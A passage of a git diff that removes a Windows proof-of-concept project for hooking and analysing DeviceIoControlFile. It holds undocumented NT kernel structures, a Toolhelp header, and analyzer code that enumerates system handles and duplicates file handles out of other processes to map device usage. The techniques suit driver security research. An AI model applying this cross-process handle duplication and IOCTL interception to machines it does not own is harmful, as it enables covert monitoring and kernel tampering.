- PVOID Environment;
- ULONG StartingPositionLeft;
- ULONG StartingPositionTop;
- ULONG Width;
- ULONG Height;
- ULONG CharWidth;
- ULONG CharHeight;
- ULONG ConsoleTextAttributes;
- ULONG WindowFlags;
- ULONG ShowWindowFlags;
- UNICODE_STRING WindowTitle;
- UNICODE_STRING DesktopName;
- UNICODE_STRING ShellInfo;
- UNICODE_STRING RuntimeData;
- RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
-} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
-
-typedef struct _PEB {
- BOOLEAN InheritedAddressSpace;
- BOOLEAN ReadImageFileExecOptions;
- BOOLEAN BeingDebugged;
- BOOLEAN Spare;
- HANDLE Mutant;
- PVOID ImageBaseAddress;
- PPEB_LDR_DATA LoaderData;
- PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
- PVOID SubSystemData;
- PVOID ProcessHeap;
- PVOID FastPebLock;
- PPEBLOCKROUTINE FastPebLockRoutine;
- PPEBLOCKROUTINE FastPebUnlockRoutine;
- ULONG EnvironmentUpdateCount;
- PVOID *KernelCallbackTable;
- PVOID EventLogSection;
- PVOID EventLog;
- PPEB_FREE_BLOCK FreeList;
- ULONG TlsExpansionCounter;
- PVOID TlsBitmap;
- ULONG TlsBitmapBits[0x2];
- PVOID ReadOnlySharedMemoryBase;
- PVOID ReadOnlySharedMemoryHeap;
- PVOID *ReadOnlyStaticServerData;
- PVOID AnsiCodePageData;
- PVOID OemCodePageData;
- PVOID UnicodeCaseTableData;
- ULONG NumberOfProcessors;
- ULONG NtGlobalFlag;
- BYTE Spare2[0x4];
- LARGE_INTEGER CriticalSectionTimeout;
- ULONG HeapSegmentReserve;
- ULONG HeapSegmentCommit;
- ULONG HeapDeCommitTotalFreeThreshold;
- ULONG HeapDeCommitFreeBlockThreshold;
- ULONG NumberOfHeaps;
- ULONG MaximumNumberOfHeaps;
- PVOID **ProcessHeaps;
- PVOID GdiSharedHandleTable;
- PVOID ProcessStarterHelper;
- PVOID GdiDCAttributeList;
- PVOID LoaderLock;
- ULONG OSMajorVersion;
- ULONG OSMinorVersion;
- ULONG OSBuildNumber;
- ULONG OSPlatformId;
- ULONG ImageSubSystem;
- ULONG ImageSubSystemMajorVersion;
- ULONG ImageSubSystemMinorVersion;
- ULONG GdiHandleBuffer[0x22];
- ULONG PostProcessInitRoutine;
- ULONG TlsExpansionBitmap;
- BYTE TlsExpansionBitmapBits[0x80];
- ULONG SessionId;
-} PEB, *PPEB;
-
-typedef struct _SYSTEM_PROCESS_INFORMATION {
- ULONG NextEntryOffset;
- ULONG NumberOfThreads;
- LARGE_INTEGER SpareLi1;
- LARGE_INTEGER SpareLi2;
- LARGE_INTEGER SpareLi3;
- LARGE_INTEGER CreateTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER KernelTime;
- UNICODE_STRING ImageName;
- KPRIORITY BasePriority;
- HANDLE UniqueProcessId;
- HANDLE InheritedFromUniqueProcessId;
- ULONG HandleCount;
- ULONG SpareUl2;
- ULONG SpareUl3;
- ULONG PeakVirtualSize;
- ULONG VirtualSize;
- ULONG PageFaultCount;
- ULONG PeakWorkingSetSize;
- ULONG WorkingSetSize;
- ULONG QuotaPeakPagedPoolUsage;
- ULONG QuotaPagedPoolUsage;
- ULONG QuotaPeakNonPagedPoolUsage;
- ULONG QuotaNonPagedPoolUsage;
- ULONG PagefileUsage;
- ULONG PeakPagefileUsage;
- ULONG PrivatePageCount;
-} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
-
-typedef struct _SYSTEM_THREAD_INFORMATION {
- LARGE_INTEGER KernelTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER CreateTime;
- ULONG WaitTime;
- PVOID StartAddress;
- CLIENT_ID ClientId;
- KPRIORITY Priority;
- LONG BasePriority;
- ULONG ContextSwitches;
- ULONG ThreadState;
- ULONG WaitReason;
-} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
-
-struct _SYSTEM_THREADS
-{
- LARGE_INTEGER KernelTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER CreateTime;
- ULONG WaitTime;
- PVOID StartAddress;
- CLIENT_ID ClientIs;
- KPRIORITY Priority;
- KPRIORITY BasePriority;
- ULONG ContextSwitchCount;
- ULONG ThreadState;
- KWAIT_REASON WaitReason;
-};
-
-struct _SYSTEM_PROCESSES
-{
- ULONG NextEntryDelta;
- ULONG ThreadCount;
- ULONG Reserved[6];
- LARGE_INTEGER CreateTime;
- LARGE_INTEGER UserTime;
- LARGE_INTEGER KernelTime;
- UNICODE_STRING ProcessName;
- KPRIORITY BasePriority;
- ULONG ProcessId;
- ULONG InheritedFromProcessId;
- ULONG HandleCount;
- ULONG Reserved2[2];
- VM_COUNTERS VmCounters;
- IO_COUNTERS IoCounters; //windows 2000 only
- struct _SYSTEM_THREADS Threads[1];
-};
-
-typedef struct _HANDLE_TABLE_ENTRY_INFO
-{
- ULONG AuditMask;
-} HANDLE_TABLE_ENTRY_INFO, *PHANDLE_TABLE_ENTRY_INFO;
-
-typedef struct _HANDLE_TABLE_ENTRY
-{
- union
- {
- PVOID Object;
- ULONG_PTR ObAttributes;
- PHANDLE_TABLE_ENTRY_INFO InfoTable;
- ULONG_PTR Value;
- };
- union
- {
- ULONG GrantedAccess;
- struct
- {
- USHORT GrantedAccessIndex;
- USHORT CreatorBackTraceIndex;
- };
- LONG NextFreeTableEntry;
- };
-} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;
-
-typedef struct _HANDLE_TABLE
-{
- ULONG TableCode;
- PEPROCESS QuotaProcess;
- PVOID UniqueProcessId;
- ULONG HandleTableLock[4];
- LIST_ENTRY HandleTableList;
- ULONG HandleContentionEvent;
- PVOID DebugInfo;
- LONG ExtraInfoPages;
- ULONG FirstFree;
- ULONG LastFree;
- ULONG NextHandleNeedingPool;
- LONG HandleCount;
- union
- {
- ULONG Flags;
- UCHAR StrictFIFO:1;
- };
-} HANDLE_TABLE, *PHANDLE_TABLE;
-
-typedef struct _OBJECT_TYPE_INITIALIZER {
- USHORT Length;
- BOOLEAN UseDefaultObject;
- BOOLEAN CaseInsensitive;
- ULONG InvalidAttributes;
- GENERIC_MAPPING GenericMapping;
- ULONG ValidAccessMask;
- BOOLEAN SecurityRequired;
- BOOLEAN MaintainHandleCount;
- BOOLEAN MaintainTypeList;
- POOL_TYPE PoolType;
- ULONG DefaultPagedPoolCharge;
- ULONG DefaultNonPagedPoolCharge;
- PVOID DumpProcedure;
- PVOID OpenProcedure;
- PVOID CloseProcedure;
- PVOID DeleteProcedure;
- PVOID ParseProcedure;
- PVOID SecurityProcedure;
- PVOID QueryNameProcedure;
- PVOID OkayToCloseProcedure;
-} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
-
-
-typedef struct _OBJECT_TYPE {
- ERESOURCE Mutex;
- LIST_ENTRY TypeList;
- UNICODE_STRING Name; // Copy from object header for convenience
- PVOID DefaultObject;
- ULONG Index;
- ULONG TotalNumberOfObjects;
- ULONG TotalNumberOfHandles;
- ULONG HighWaterNumberOfObjects;
- ULONG HighWaterNumberOfHandles;
- OBJECT_TYPE_INITIALIZER TypeInfo;
- ULONG Key;
- ERESOURCE ObjectLocks[4];
-} OBJECT_TYPE, *POBJECT_TYPE;
-
-typedef struct _OBJECT_DIRECTORY {
- struct _OBJECT_DIRECTORY_ENTRY *HashBuckets[ 37 ];
- ULONG Lock;
- PVOID DeviceMap;
- ULONG SessionId;
- USHORT Reserved;
- USHORT SymbolicLinkUsageCount;
-} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;
-
-/*
-typedef enum _KAPC_ENVIRONMENT {
- OriginalApcEnvironment,
- AttachedApcEnvironment,
- CurrentApcEnvironment,
- InsertApcEnvironment
-} KAPC_ENVIRONMENT;
-*/
-
-typedef enum
-{
- OriginalApcEnvironment,
- AttachedApcEnvironment,
- CurrentApcEnvironment
-} KAPC_ENVIRONMENT;
-
-//----------------------------------------------------
-
-NTSYSAPI
-NTSTATUS
-NTAPI ZwQuerySystemInformation(
- IN ULONG SystemInformationClass,
- IN PVOID SystemInformation,
- IN ULONG SystemInformationLength,
- OUT PULONG ReturnLength);
-
-
-
-NTSTATUS
- NtOpenFile(
- OUT PHANDLE FileHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes,
- OUT PIO_STATUS_BLOCK IoStatusBlock,
- IN ULONG ShareAccess,
- IN ULONG OpenOptions
- );
-
-NTSTATUS
-ZwOpenProcess(
- OUT PHANDLE ProcessHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes,
- IN PCLIENT_ID ClientId
- );
-
-NTSTATUS
-PsLookupProcessByProcessId(
- IN HANDLE ProcessId,
- OUT PEPROCESS *Process
- );
-
-HANDLE
- PsGetProcessId(
- IN PEPROCESS Process
- );
-
-NTSTATUS
-RtlFormatCurrentUserKeyPath(
- OUT PUNICODE_STRING CurrentUserKeyPath
- );
-
-VOID KeAttachProcess( PEPROCESS proc );
-VOID KeDetachProcess();
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile.sln b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile.sln
deleted file mode 100644
index 09d14f4b..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile.sln
+++ /dev/null
@@ -1,26 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 10.00
-# Visual Studio 2008
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HookDeviceIoControlFile", "HookDeviceIoControlFile\HookDeviceIoControlFile.vcproj", "{04CCC70C-821D-48FA-A6CD-9F0765A2D25C}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Win32 = Debug|Win32
- Debug|x64 = Debug|x64
- Release|Win32 = Release|Win32
- Release|x64 = Release|x64
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Debug|Win32.ActiveCfg = Debug|Win32
- {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Debug|Win32.Build.0 = Debug|Win32
- {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Debug|x64.ActiveCfg = Debug|x64
- {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Debug|x64.Build.0 = Debug|x64
- {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Release|Win32.ActiveCfg = Release|Win32
- {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Release|Win32.Build.0 = Release|Win32
- {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Release|x64.ActiveCfg = Release|x64
- {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Release|x64.Build.0 = Release|x64
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile.vcproj b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile.vcproj
deleted file mode 100644
index 9d629db1..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile.vcproj
+++ /dev/null
@@ -1,441 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/TlHelp32.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/TlHelp32.h
deleted file mode 100644
index d34cbe2b..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/TlHelp32.h
+++ /dev/null
@@ -1,316 +0,0 @@
-/*****************************************************************************\
-* *
-* tlhelp32.h - WIN32 tool help functions, types, and definitions *
-* *
-* Version 1.0 *
-* *
-* NOTE: windows.h/winbase.h must be #included first *
-* *
-* Copyright (c) Microsoft Corp. All rights reserved. *
-* *
-\*****************************************************************************/
-
-#ifndef _INC_TOOLHELP32
-#define _INC_TOOLHELP32
-
-#if _MSC_VER > 1000
-#pragma once
-#endif
-
-#ifdef __cplusplus
-extern "C" { /* Assume C declarations for C++ */
-#endif /* __cplusplus */
-
-#define MAX_MODULE_NAME32 255
-
-/****** Shapshot function **********************************************/
-
-HANDLE
-WINAPI
-CreateToolhelp32Snapshot(
- DWORD dwFlags,
- DWORD th32ProcessID
- );
-
-//
-// The th32ProcessID argument is only used if TH32CS_SNAPHEAPLIST or
-// TH32CS_SNAPMODULE is specified. th32ProcessID == 0 means the current
-// process.
-//
-// NOTE that all of the snapshots are global except for the heap and module
-// lists which are process specific. To enumerate the heap or module
-// state for all WIN32 processes call with TH32CS_SNAPALL and the
-// current process. Then for each process in the TH32CS_SNAPPROCESS
-// list that isn't the current process, do a call with just
-// TH32CS_SNAPHEAPLIST and/or TH32CS_SNAPMODULE.
-//
-// dwFlags
-//
-#define TH32CS_SNAPHEAPLIST 0x00000001
-#define TH32CS_SNAPPROCESS 0x00000002
-#define TH32CS_SNAPTHREAD 0x00000004
-#define TH32CS_SNAPMODULE 0x00000008
-#define TH32CS_SNAPMODULE32 0x00000010
-#define TH32CS_SNAPALL (TH32CS_SNAPHEAPLIST | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD | TH32CS_SNAPMODULE)
-#define TH32CS_INHERIT 0x80000000
-//
-// Use CloseHandle to destroy the snapshot
-//
-
-/****** heap walking ***************************************************/
-
-typedef struct tagHEAPLIST32
-{
- SIZE_T dwSize;
- DWORD th32ProcessID; // owning process
- ULONG_PTR th32HeapID; // heap (in owning process's context!)
- DWORD dwFlags;
-} HEAPLIST32;
-typedef HEAPLIST32 * PHEAPLIST32;
-typedef HEAPLIST32 * LPHEAPLIST32;
-//
-// dwFlags
-//
-#define HF32_DEFAULT 1 // process's default heap
-#define HF32_SHARED 2 // is shared heap
-
-BOOL
-WINAPI
-Heap32ListFirst(
- HANDLE hSnapshot,
- LPHEAPLIST32 lphl
- );
-
-BOOL
-WINAPI
-Heap32ListNext(
- HANDLE hSnapshot,
- LPHEAPLIST32 lphl
- );
-
-typedef struct tagHEAPENTRY32
-{
- SIZE_T dwSize;
- HANDLE hHandle; // Handle of this heap block
- ULONG_PTR dwAddress; // Linear address of start of block
- SIZE_T dwBlockSize; // Size of block in bytes
- DWORD dwFlags;
- DWORD dwLockCount;
- DWORD dwResvd;
- DWORD th32ProcessID; // owning process
- ULONG_PTR th32HeapID; // heap block is in
-} HEAPENTRY32;
-typedef HEAPENTRY32 * PHEAPENTRY32;
-typedef HEAPENTRY32 * LPHEAPENTRY32;
-//
-// dwFlags
-//
-#define LF32_FIXED 0x00000001
-#define LF32_FREE 0x00000002
-#define LF32_MOVEABLE 0x00000004
-
-BOOL
-WINAPI
-Heap32First(
- LPHEAPENTRY32 lphe,
- DWORD th32ProcessID,
- ULONG_PTR th32HeapID
- );
-
-BOOL
-WINAPI
-Heap32Next(
- LPHEAPENTRY32 lphe
- );
-
-BOOL
-WINAPI
-Toolhelp32ReadProcessMemory(
- DWORD th32ProcessID,
- LPCVOID lpBaseAddress,
- LPVOID lpBuffer,
- SIZE_T cbRead,
- SIZE_T *lpNumberOfBytesRead
- );
-
-/***** Process walking *************************************************/
-
-typedef struct tagPROCESSENTRY32W
-{
- DWORD dwSize;
- DWORD cntUsage;
- DWORD th32ProcessID; // this process
- ULONG_PTR th32DefaultHeapID;
- DWORD th32ModuleID; // associated exe
- DWORD cntThreads;
- DWORD th32ParentProcessID; // this process's parent process
- LONG pcPriClassBase; // Base priority of process's threads
- DWORD dwFlags;
- WCHAR szExeFile[MAX_PATH]; // Path
-} PROCESSENTRY32W;
-typedef PROCESSENTRY32W * PPROCESSENTRY32W;
-typedef PROCESSENTRY32W * LPPROCESSENTRY32W;
-
-BOOL
-WINAPI
-Process32FirstW(
- HANDLE hSnapshot,
- LPPROCESSENTRY32W lppe
- );
-
-BOOL
-WINAPI
-Process32NextW(
- HANDLE hSnapshot,
- LPPROCESSENTRY32W lppe
- );
-
-typedef struct tagPROCESSENTRY32
-{
- DWORD dwSize;
- DWORD cntUsage;
- DWORD th32ProcessID; // this process
- ULONG_PTR th32DefaultHeapID;
- DWORD th32ModuleID; // associated exe
- DWORD cntThreads;
- DWORD th32ParentProcessID; // this process's parent process
- LONG pcPriClassBase; // Base priority of process's threads
- DWORD dwFlags;
- CHAR szExeFile[MAX_PATH]; // Path
-} PROCESSENTRY32;
-typedef PROCESSENTRY32 * PPROCESSENTRY32;
-typedef PROCESSENTRY32 * LPPROCESSENTRY32;
-
-BOOL
-WINAPI
-Process32First(
- HANDLE hSnapshot,
- LPPROCESSENTRY32 lppe
- );
-
-BOOL
-WINAPI
-Process32Next(
- HANDLE hSnapshot,
- LPPROCESSENTRY32 lppe
- );
-
-#ifdef UNICODE
-#define Process32First Process32FirstW
-#define Process32Next Process32NextW
-#define PROCESSENTRY32 PROCESSENTRY32W
-#define PPROCESSENTRY32 PPROCESSENTRY32W
-#define LPPROCESSENTRY32 LPPROCESSENTRY32W
-#endif // !UNICODE
-
-/***** Thread walking **************************************************/
-
-typedef struct tagTHREADENTRY32
-{
- DWORD dwSize;
- DWORD cntUsage;
- DWORD th32ThreadID; // this thread
- DWORD th32OwnerProcessID; // Process this thread is associated with
- LONG tpBasePri;
- LONG tpDeltaPri;
- DWORD dwFlags;
-} THREADENTRY32;
-typedef THREADENTRY32 * PTHREADENTRY32;
-typedef THREADENTRY32 * LPTHREADENTRY32;
-
-BOOL
-WINAPI
-Thread32First(
- HANDLE hSnapshot,
- LPTHREADENTRY32 lpte
- );
-
-BOOL
-WINAPI
-Thread32Next(
- HANDLE hSnapshot,
- LPTHREADENTRY32 lpte
- );
-
-/***** Module walking *************************************************/
-
-typedef struct tagMODULEENTRY32W
-{
- DWORD dwSize;
- DWORD th32ModuleID; // This module
- DWORD th32ProcessID; // owning process
- DWORD GlblcntUsage; // Global usage count on the module
- DWORD ProccntUsage; // Module usage count in th32ProcessID's context
- BYTE * modBaseAddr; // Base address of module in th32ProcessID's context
- DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr
- HMODULE hModule; // The hModule of this module in th32ProcessID's context
- WCHAR szModule[MAX_MODULE_NAME32 + 1];
- WCHAR szExePath[MAX_PATH];
-} MODULEENTRY32W;
-typedef MODULEENTRY32W * PMODULEENTRY32W;
-typedef MODULEENTRY32W * LPMODULEENTRY32W;
-
-BOOL
-WINAPI
-Module32FirstW(
- HANDLE hSnapshot,
- LPMODULEENTRY32W lpme
- );
-
-BOOL
-WINAPI
-Module32NextW(
- HANDLE hSnapshot,
- LPMODULEENTRY32W lpme
- );
-
-
-typedef struct tagMODULEENTRY32
-{
- DWORD dwSize;
- DWORD th32ModuleID; // This module
- DWORD th32ProcessID; // owning process
- DWORD GlblcntUsage; // Global usage count on the module
- DWORD ProccntUsage; // Module usage count in th32ProcessID's context
- BYTE * modBaseAddr; // Base address of module in th32ProcessID's context
- DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr
- HMODULE hModule; // The hModule of this module in th32ProcessID's context
- char szModule[MAX_MODULE_NAME32 + 1];
- char szExePath[MAX_PATH];
-} MODULEENTRY32;
-typedef MODULEENTRY32 * PMODULEENTRY32;
-typedef MODULEENTRY32 * LPMODULEENTRY32;
-
-//
-// NOTE CAREFULLY that the modBaseAddr and hModule fields are valid ONLY
-// in th32ProcessID's process context.
-//
-
-BOOL
-WINAPI
-Module32First(
- HANDLE hSnapshot,
- LPMODULEENTRY32 lpme
- );
-
-BOOL
-WINAPI
-Module32Next(
- HANDLE hSnapshot,
- LPMODULEENTRY32 lpme
- );
-
-#ifdef UNICODE
-#define Module32First Module32FirstW
-#define Module32Next Module32NextW
-#define MODULEENTRY32 MODULEENTRY32W
-#define PMODULEENTRY32 PMODULEENTRY32W
-#define LPMODULEENTRY32 LPMODULEENTRY32W
-#endif // !UNICODE
-
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif // _INC_TOOLHELP32
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/analyzer.cpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/analyzer.cpp
deleted file mode 100644
index ca7595e1..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/analyzer.cpp
+++ /dev/null
@@ -1,1330 +0,0 @@
-#include "stdafx.h"
-
-typedef struct _DRVINFO
-{
- PVOID Object;
-
- std::string ObjectName;
- std::string FilePath;
-
- std::string Descr;
- std::string Company;
-
-} DRVINFO,
-*PDRVINFO;
-
-typedef enum _DEVINFO_ACCESS
-{
- DevAccessOpenError = 0,
- DevAccessEveryone,
- DevAccessAuthenticated,
- DevAccessRestricted
-
-} DEVINFO_ACCESS;
-
-typedef struct _DEVINFO
-{
- PVOID Object;
- std::string ObjectName;
- DEVINFO_ACCESS Access;
-
-} DEVINFO,
-*PDEVINFO;
-
-typedef struct _PROCESSINFO
-{
- DWORD ProcessId;
- std::string ProcessName;
-
-} PROCESSINFO,
-*PPROCESSINFO;
-
-#define DEVINFO_LIST std::map
-#define DRVINFO_ENTRY std::pair
-#define DRVINFO_LIST std::map
-#define CALL_STATS_LIST std::map
-#define OPENED_LIST std::map>
-
-DRVINFO_LIST m_DriversInfo;
-
-// total number of sniffed IOCTLs for each device and driver
-CALL_STATS_LIST m_DeviceCallsCount;
-CALL_STATS_LIST m_DriverCallsCount;
-
-// information about opened devices
-OPENED_LIST m_OpenedInfo;
-//--------------------------------------------------------------------------------------
-DWORD GetObjectTypeIndex(HANDLE hObject)
-{
- DWORD Ret = 0;
-
- // get list of all handles in system
- PSYSTEM_HANDLE_INFORMATION Info = (PSYSTEM_HANDLE_INFORMATION)GetSysInf(SystemHandleInformation);
- if (Info)
- {
- // find our handle in list
- for (ULONG i = 0; i < Info->NumberOfHandles; i++)
- {
- if (Info->Handles[i].UniqueProcessId == (USHORT)GetCurrentProcessId() &&
- Info->Handles[i].HandleValue == (USHORT)hObject)
- {
- // return value of object type index
- Ret = Info->Handles[i].ObjectTypeIndex;
- break;
- }
- }
-
- M_FREE(Info);
- }
-
- return Ret;
-}
-//--------------------------------------------------------------------------------------
-DWORD GetFileObjectTypeIndex(void)
-{
- DWORD Ret = 0;
- char szSelf[MAX_PATH];
- GetModuleFileNameA(GetModuleHandle(NULL), szSelf, MAX_PATH);
-
- HANDLE hFile = CreateFileA(
- szSelf,
- GENERIC_READ,
- FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
- NULL,
- OPEN_EXISTING,
- 0, NULL
- );
- if (hFile == INVALID_HANDLE_VALUE)
- {
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): CreateFile() ERROR %d\n", GetLastError());
- return 0;
- }
-
- Ret = GetObjectTypeIndex(hFile);
-
- CloseHandle(hFile);
-
- return Ret;
-}
-//--------------------------------------------------------------------------------------
-DWORD CollectFileHandles(void)
-{
- DWORD dwRet = 0;
- DWORD dwTypeIndex = GetFileObjectTypeIndex();
- if (dwTypeIndex == 0)
- {
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Can't query file object type index\n");
- return 0;
- }
-
- // remove old entries
- m_OpenedInfo.clear();
-
- // get list of all handles in system
- PSYSTEM_HANDLE_INFORMATION Info = (PSYSTEM_HANDLE_INFORMATION)GetSysInf(SystemHandleInformation);
- if (Info)
- {
- // find all processes handles
- for (ULONG i = 0; i < Info->NumberOfHandles; i++)
- {
- char szProcessName[MAX_PATH];
- DWORD dwProcessId = (DWORD)Info->Handles[i].UniqueProcessId;
-
- if (Info->Handles[i].ObjectTypeIndex == (USHORT)dwTypeIndex &&
- GetProcessNameById(dwProcessId, szProcessName, MAX_PATH))
- {
- HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);
- if (hProcess)
- {
- // duplicate single handle
- HANDLE hTarget = NULL;
- if (DuplicateHandle(
- hProcess,
- (HANDLE)Info->Handles[i].HandleValue,
- GetCurrentProcess(),
- &hTarget,
- 0, FALSE,
- DUPLICATE_SAME_ACCESS))
- {
- REQUEST_BUFFER Request;
- ZeroMemory(&Request, sizeof(Request));
-
- Request.Code = C_GET_OBJECT_NAME;
- Request.ObjectName.hObject = hTarget;
-
- // get device name by handle
- if (DrvDeviceRequest(&Request, sizeof(Request)) &&
- Request.Status == S_SUCCESS)
- {
- try
- {
- std::string ObjectName = std::string(Request.ObjectName.szObjectName);
-
- if (m_OpenedInfo.find(ObjectName) != m_OpenedInfo.end())
- {
- std::list::iterator e = m_OpenedInfo[ObjectName].begin();
- while (e != m_OpenedInfo[ObjectName].end())
- {
- if (e->ProcessId == dwProcessId)
- {
- // this process is allready in list
- goto close;
- }
-
- ++e;
- }
- }
-
- PROCESSINFO ProcessInfo;
- ProcessInfo.ProcessId = dwProcessId;
- ProcessInfo.ProcessName = std::string(szProcessName);
- m_OpenedInfo[ObjectName].push_back(ProcessInfo);
- }
- catch (...)
- {
-
- }
-
- DbgMsg(
- __FILE__, __LINE__, "Process=\"%s\" PID=%d Handle=0x%.8x \"%s\"\n",
- szProcessName, dwProcessId, (DWORD)Info->Handles[i].HandleValue,
- Request.ObjectName.szObjectName
- );
- }
-close:
- CloseHandle(hTarget);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "DuplicateHandle() ERROR %d\n", GetLastError());
- }
-
- CloseHandle(hProcess);
- }
- }
- }
-
- M_FREE(Info);
- }
-
- return dwRet;
-}
-//--------------------------------------------------------------------------------------
-char *GetNormalizedDriverFilePath(char *lpszPath)
-{
- char szSysDir[MAX_PATH], szSysDir_l[MAX_PATH];
- GetSystemDirectoryA(szSysDir, sizeof(szSysDir));
- strcpy(szSysDir_l, szSysDir);
- strlwr(szSysDir_l);
-
- char *s = NULL;
- char *lpszSysDirName_l = GetNameFromFullPath(szSysDir_l);
-
- size_t Path_lSize = strlen(lpszPath) + 1;
- char *lpszPath_l = (char *)M_ALLOC(Path_lSize);
- if (lpszPath_l)
- {
- // low-case duplicates of strings need only for matching
- strcpy(lpszPath_l, lpszPath);
- strlwr(lpszPath_l);
-
- // normalize module name
- if (!strncmp(lpszPath, "\\??\\", 4))
- {
- // '\??\C:\WINDOWS\path_to_module'
- size_t len = strlen(lpszPath) - 3;
- if (s = (char *)M_ALLOC(len))
- {
- strcpy(s, lpszPath + 4);
- }
- }
- else if (!strncmp(lpszPath_l, "\\systemroot\\", 12))
- {
- // '\SystemRoot\WINDOWS\path_to_module'
- char szPath[MAX_PATH];
- GetEnvironmentVariableA("SystemRoot", szPath, MAX_PATH - 1);
-
- size_t len = strlen(szPath) + strlen(lpszPath + 11) + 1;
- if (s = (char *)M_ALLOC(len))
- {
- strcpy(s, szPath);
- strcat(s, lpszPath + 11);
- }
- }
- else if (GetNameFromFullPath(lpszPath) == lpszPath)
- {
- // just module name
- size_t len = strlen(szSysDir) + strlen(lpszPath) + 0x20;
- if (s = (char *)M_ALLOC(len))
- {
- strcpy(s, szSysDir);
- strcat(s, "\\drivers\\");
- strcat(s, lpszPath);
-
- // look for this module in drivers directory
- if (!IsFileExists(s))
- {
- M_FREE(s);
- s = NULL;
- }
- }
- }
- else if (
- szSysDir[1] == ':' &&
- !strncmp(lpszPath_l, (char *)szSysDir_l + 2, strlen(szSysDir_l) - 2))
- {
- // '\WINDOWS\system32\path_to_module'
- size_t len = strlen(lpszPath) + 3;
- if (s = (char *)M_ALLOC(len))
- {
- strncpy(s, szSysDir, 2);
- strcat(s, lpszPath);
- }
- }
- else if (
- szSysDir[1] == ':' && lpszSysDirName_l &&
- !strncmp(lpszPath_l, lpszSysDirName_l, strlen(lpszSysDirName_l)))
- {
- // 'system32\path_to_module'
- size_t len = strlen(szSysDir) + strlen(lpszPath) + 1;
- if (s = (char *)M_ALLOC(len))
- {
- strcpy(s, szSysDir);
- strcat(s, lpszPath + strlen(lpszSysDirName_l));
- }
- }
- else
- {
- // no matches, just return a copy of the source string
- size_t len = strlen(lpszPath) + 1;
- if (s = (char *)M_ALLOC(len))
- {
- strcpy(s, lpszPath);
- }
- }
-
- M_FREE(lpszPath_l);
- }
-
- if (s)
- {
